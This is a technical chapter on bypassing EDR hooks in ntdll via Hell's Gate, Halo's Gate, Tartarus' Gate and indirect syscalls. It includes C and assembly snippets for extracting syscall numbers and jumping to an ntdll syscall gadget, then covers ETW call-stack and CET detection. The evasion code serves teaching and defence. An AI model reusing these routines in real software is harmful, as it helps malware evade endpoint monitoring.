Chapter 26

Direct Syscalls

NTDLL bypass techniques: Hell's Gate, Halo's Gate, and Tartarus' Gate, and how stack-unwinding analysis detects them even when ntdll hooks are bypassed

Scenario

An EDR hooks NtAllocateVirtualMemory inside ntdll by patching the first 5 bytes of the stub with a JMP to its analysis routine. A sample using Hell's Gate reads the SSN from the stub, detects the hook (bytes don't match the known prologue), walks to a neighboring stub to infer the correct SSN, and executes syscall from its own shellcode — bypassing the hook. Six months later the EDR starts checking whether the syscall instruction address belongs to ntdll. The sample pivots to Indirect Syscalls, borrowing a syscall-ret gadget from within ntdll itself. The arms race continues at the user-mode/kernel boundary.

Why Bypass ntdll

EDRs hook the ntdll Nt-function stubs because those stubs are the last user-mode code before the syscall boundary. Bypassing them eliminates all user-mode EDR visibility on the hooked calls. The two approaches:

Both require knowing the correct SSN for the target OS version dynamically at runtime.

Hell's Gate

Each ntdll Nt-stub starts with an identical 3-byte sequence 4C 8B D1 (mov r10, rcx), then a 5-byte B8 XX XX 00 00 (mov eax, SSN). Hell's Gate resolves a function pointer from ntdll, reads bytes at offset +3 to extract the SSN, and issues the syscall from a small ASM stub in its own memory.

// Hell's Gate: extract SSN from a live ntdll stub
typedef struct {
    WORD  SSN;
    bool  hooked;
} VxTableEntry;

bool GetSyscallNumber(PVOID pNtFunction, VxTableEntry *entry)
{
    PBYTE p = (PBYTE)pNtFunction;
    // Normal stub: 4C 8B D1 B8 XX XX 00 00
    if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) {
        entry->SSN    = *(WORD*)(p + 4);
        entry->hooked = false;
        return true;
    }
    // First bytes patched (hook detected)
    entry->hooked = true;
    return false;
}

Halo's Gate

When an ntdll stub is hooked (bytes don't match), its SSN is hidden under the EDR's JMP patch. Halo's Gate solves this by looking at neighboring stubs. SSDT entries are assigned consecutively: if NtAllocateVirtualMemory is SSN N, the stub immediately before it in the export table typically has SSN N-1 and the stub after has SSN N+1. Halo's Gate scans forward and backward from the hooked stub, finds the first unhook neighbor, and infers the target SSN by offset.

// Halo's Gate: if stub is hooked, walk neighbors to infer SSN
bool GetSyscallNumberHalosGate(PVOID pNtFunction, VxTableEntry *entry)
{
    PBYTE p = (PBYTE)pNtFunction;
    if (GetSyscallNumber(p, entry)) return true;

    // Stub is hooked — walk neighbors
    // Each stub is exactly 0x20 bytes in modern ntdll
    for (int i = 1; i < 500; i++) {
        VxTableEntry neighbor = {};
        // Check +i stubs (higher SSN)
        if (GetSyscallNumber(p + (0x20 * i), &neighbor) && !neighbor.hooked) {
            entry->SSN    = neighbor.SSN - i;
            entry->hooked = true;  // was hooked, now inferred
            return true;
        }
        // Check -i stubs (lower SSN)
        if (GetSyscallNumber(p - (0x20 * i), &neighbor) && !neighbor.hooked) {
            entry->SSN    = neighbor.SSN + i;
            entry->hooked = true;
            return true;
        }
    }
    return false;
}

Tartarus' Gate

An evolution handling a different hook pattern: some EDRs use a 3-byte jmp qword ptr [rip+0] or other longer patches that start at a different offset in the stub, leaving the B8 XX XX SSN bytes at offset +3 intact but unreachable. Tartarus' Gate scans the stub for multiple known hook patterns and extracts the SSN regardless:

// Tartarus' Gate checks additional known hook prologue patterns
bool GetSyscallNumberTartarusGate(PVOID pNtFunction, VxTableEntry *entry)
{
    PBYTE p = (PBYTE)pNtFunction;
    // Pattern 1: clean stub (4C 8B D1 B8 SSN)
    if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8) {
        entry->SSN = *(WORD*)(p + 4);
        return true;
    }
    // Pattern 2: syscall re-routing hook (3E xx xx xx B8 SSN)
    if (p[3] == 0xB8 && p[7] == 0x00 && p[8] == 0x00) {
        entry->SSN = *(WORD*)(p + 4);
        entry->hooked = true;
        return true;
    }
    // Fallback: use Halo's Gate neighbor walk
    return GetSyscallNumberHalosGate(p, entry);
}

Indirect Syscalls

A newer EDR capability: check whether the address that executed syscall belongs to ntdll. If the syscall instruction came from outside ntdll (e.g., from shellcode or the main executable), that's anomalous. Indirect syscalls counter this by setting EAX to the SSN but then jumping to a syscall; ret gadget that lives within ntdll's address range:

; Indirect syscall example for NtAllocateVirtualMemory
; pSyscallGadget = address of "syscall; ret" bytes inside ntdll

IndirectNtAllocateVirtualMemory:
    mov  r10, rcx
    mov  eax, [SSN_NtAllocateVirtualMemory]   ; SSN from Hell/Halo's Gate
    jmp  [pSyscallGadget]                     ; jump into ntdll's "syscall; ret"
    ; execution returns to caller after syscall completes

Detection

TechniqueDetection MethodData Source
Direct syscall from shellcode ETW callstack: syscall instruction address is outside ntdll's module range ETW kernel provider (syscall events), EDR stack walk
Indirect syscall Callstack looks like ntdll but return address points to non-ntdll code; JMP into ntdll mid-function is unusual ETW, user-mode stack walking with shadow stack (CET)
SSN extraction via stub scan ReadProcessMemory on ntdll from another process; or scanning own ntdll stub bytes at startup Sysmon Event ID 10 (ReadProcessMemory on ntdll); heap allocations with matching patterns
Any syscall bypass Kernel-side: KiSystemCall64 logging; ETW providers see all syscalls regardless of how invoked ETW Microsoft-Windows-Kernel-Audit-API-Calls provider
CET and indirect syscalls

Control-flow Enforcement Technology (CET) shadow stack tracks return addresses in a separate, hardware-protected stack. When indirect syscall does JMP into ntdll's syscall gadget, that JMP doesn't push a return address onto the shadow stack — only CALL does. If the return from the kernel via ret is checked against the shadow stack (which has no matching entry for this indirect path), CET raises a fault. This is one reason indirect syscalls are fragile on CET-enabled systems (Intel 11th gen+, Windows 11 with hardware enforcement).

Q & A

Can a process completely avoid using ntdll.dll if it uses direct syscalls for everything?

In theory yes for Win32 operations — you could issue every system call directly. In practice no, because ntdll provides critical services that aren't system calls: (1) The loader (LdrLoadDll, LdrInitializeThunk) runs in ntdll to set up the process, load imports, initialize TLS. The process can't even start without ntdll running. (2) The heap allocator (RtlAllocateHeap) is in ntdll — you could implement your own heap, but C runtime and most libraries depend on the standard heap. (3) Exception handling (RtlUnwind, RtlAddFunctionTable) is in ntdll. (4) The C runtime (vcruntime, ucrtbase) calls ntdll functions internally. Direct syscalls avoid calling ntdll functions for individual operations, but ntdll is still loaded and used constantly. A process trying to completely avoid ntdll would need to: bootstrap itself from a stub that never calls into ntdll, implement its own heap and exception handling, and call all system services via raw syscall numbers — essentially implementing a small OS inside a process. Some advanced implants do exactly this for specific sensitive operations (injection, memory allocation) while still using ntdll for everything else.

How do defenders use ETW to detect direct syscalls when the syscall itself still reaches the kernel normally?

The kernel still executes the syscall — ETW kernel providers see every system call regardless of how it was invoked. The detection comes from the call stack attached to the ETW event. When ETW logs a syscall event (e.g., for virtual memory allocation), it captures the user-mode call stack at that moment. Normally: the stack looks like YourApp.exe -> kernel32.dll -> kernelbase.dll -> ntdll.dll -> [syscall]. With a direct syscall: the stack looks like YourApp.exe -> [some suspicious address] -> [syscall]. The suspicious address (where the syscall instruction executed) is in a MEM_PRIVATE, executable region — not a module. The ETW event fires, the stack is captured, and an analyst or detection rule can see: "syscall originated from outside any known module." Specific ETW providers for this: Microsoft-Windows-Threat-Intelligence (ETW-TI) is specifically designed for this purpose — it fires on suspicious memory operations and includes full stacks. It requires a PPL-protected consumer (like an EDR kernel component) to receive events. The callstack anomaly is the core detection for both direct and indirect syscalls.